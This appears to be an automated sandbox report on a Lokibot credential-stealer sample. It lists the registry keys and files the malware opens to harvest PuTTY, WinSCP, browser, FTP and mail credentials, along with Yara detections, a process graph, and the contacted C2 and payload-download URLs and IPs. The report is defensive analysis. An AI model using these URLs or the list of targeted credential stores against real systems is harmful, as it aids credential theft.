Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Whea\Microsoft.Windows.Whea.WheaMemoryPolicy.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WindowsSearch.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsSearch.Commands.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Queries volume information: C:\Users\user\Desktop\screens.pif VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected Lokibot
Source: Yara match File source: 4.2.screens.pif.49889b8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.screens.pif.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.screens.pif.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000004.00000002.1509596429.0000000002F17000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.1509596429.0000000002EFA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.1509596429.0000000002F32000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2658959804.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.1517752482.0000000004988000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: screens.pif PID: 2208, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: screens.pif PID: 688, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
Source: Yara match File source: 00000005.00000002.2659632439.00000000013D8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Users\user\Desktop\screens.pif Key opened: HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Desktop\screens.pif File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\Desktop\screens.pif File opened: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts Jump to behavior
Source: C:\Users\user\Desktop\screens.pif File opened: HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts Jump to behavior
Source: C:\Users\user\Desktop\screens.pif File opened: HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings Jump to behavior
Source: C:\Users\user\Desktop\screens.pif File opened: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\Desktop\screens.pif Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook Jump to behavior
Tries to steal Mail credentials (via file registry)
Source: C:\Users\user\Desktop\screens.pif Code function: PopPassword 5_2_0040D069
Source: C:\Users\user\Desktop\screens.pif Code function: SmtpPassword 5_2_0040D069
Yara detected Credential Stealer
Source: Yara match File source: 4.2.screens.pif.49889b8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.screens.pif.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.screens.pif.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000004.00000002.1509596429.0000000002F17000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.1509596429.0000000002EFA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.1509596429.0000000002F32000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2658959804.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.1517752482.0000000004988000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1524797 Sample: Comprobante.lnk.lnk Startdate: 03/10/2024 Architecture: WINDOWS Score: 100 36 freighteighttwocam.ddns.net 2->36 38 www.sodiumlaurethsulfatedesyroyer.com 2->38 44 Suricata IDS alerts for network traffic 2->44 46 Found malware configuration 2->46 48 Malicious sample detected (through community Yara rule) 2->48 52 15 other signatures 2->52 9 powershell.exe 14 28 2->9         started        signatures3 50 Uses dynamic DNS services 36->50 process4 dnsIp5 42 www.sodiumlaurethsulfatedesyroyer.com 188.114.97.3, 443, 49706 CLOUDFLARENETUS European Union 9->42 34 C:\Users\user\Desktop\screens.pif, PE32 9->34 dropped 62 Drops PE files with a suspicious file extension 9->62 64 Loading BitLocker PowerShell Module 9->64 66 Powershell drops PE file 9->66 14 screens.pif 1 9->14         started        17 conhost.exe 1 9->17         started        file6 signatures7 process8 signatures9 68 Detected unpacking (changes PE section rights) 14->68 70 Tries to steal Mail credentials (via file registry) 14->70 72 Machine Learning detection for dropped file 14->72 74 Injects a PE file into a foreign processes 14->74 19 screens.pif 104 14->19         started        24 screens.pif 14->24         started        26 screens.pif 14->26         started        process10 dnsIp11 40 freighteighttwocam.ddns.net 45.149.241.169, 49707, 49708, 49709 UUNETUS Germany 19->40 32 C:\Users\user\AppData\...\31437F.exe (copy), PE32 19->32 dropped 54 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 19->54 56 Tries to steal Mail credentials (via file / registry access) 19->56 58 Tries to harvest and steal ftp login credentials 19->58 60 Tries to harvest and steal browser information (history, passwords, etc) 19->60 28 WerFault.exe 2 24->28         started        30 WerFault.exe 2 26->30         started        file12 signatures13 process14
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
188.114.97.3
 www.sodiumlaurethsulfatedesyroyer.com European Union
13335 CLOUDFLARENETUS true
45.149.241.169
 freighteighttwocam.ddns.net Germany
701 UUNETUS true

Contacted Domains

Name IP Active
freighteighttwocam.ddns.net 45.149.241.169 true
www.sodiumlaurethsulfatedesyroyer.com 188.114.97.3 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://freighteighttwocam.ddns.net/mdifygidj/five/fre.php true
    		unknown
    http://kbfvzoboss.bid/alien/fre.php true
      		unknown
      http://alphastand.top/alien/fre.php true
        		unknown
        http://alphastand.win/alien/fre.php true
          		unknown
          http://alphastand.trade/alien/fre.php true
            		unknown
            https://www.sodiumlaurethsulfatedesyroyer.com/flow/sfdkavhbsfvhahlbfabreaireuafrgfyarfdkabrbfvakysrgfea/zdhkbgualsbifbAFRAWYEGFYAUGEYGywefafaer/nezfdio.pif true
              		unknown